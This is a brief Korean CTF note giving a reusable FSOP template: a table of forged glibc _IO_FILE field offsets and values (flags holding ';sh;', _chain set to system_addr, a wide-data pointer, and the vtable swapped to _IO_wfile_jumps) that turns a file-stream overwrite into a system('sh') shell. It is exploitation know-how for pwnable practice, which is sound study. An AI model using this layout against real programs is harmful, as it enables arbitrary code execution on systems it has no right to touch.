[pwnable] FSOP template

문제 풀 때마다 계산하기 너무 귀찮아서 정리하였다..
base address는 stderr로 표시하였다.

offset	member				value

0x0		_flags				b"\x01\x01\x01\x01;sh;"
0x8		_IO_read_ptr		0
0x10	_IO_read_end		0
0x18	_IO_read_base		0
0x20	_IO_write_base		0
0x28	_IO_write_ptr		1
0x30	_IO_write_end		0
0x38	_IO_buf_base		0
0x40	_IO_buf_end			0
0x48	_IO_save_base		0
0x50	_IO_backup_base		0
0x58	_IO_save_end		0
0x60	_markers			0
0x68	_chain				system_addr
0x70	_fileno				0
		_flags2
0x78	_old_offset			0
0x80	_cur_column			0
		_vtable_offset
        _shortbuf
0x88	_lock				writable_addr
0x90	_offset				0
0x98	_codecvt			0
0xa0	_wide_data			stderr - 0x10
0xa8	_freeres_list		0
0xb0	_freeres_buf		0
0xb8	__pad5				0
0xc0	_mode				0
		_unused2			
0xc8	_unused2			0
0xd0	_unused2			stderr
0xd8	_vtable				_IO_wfile_jumps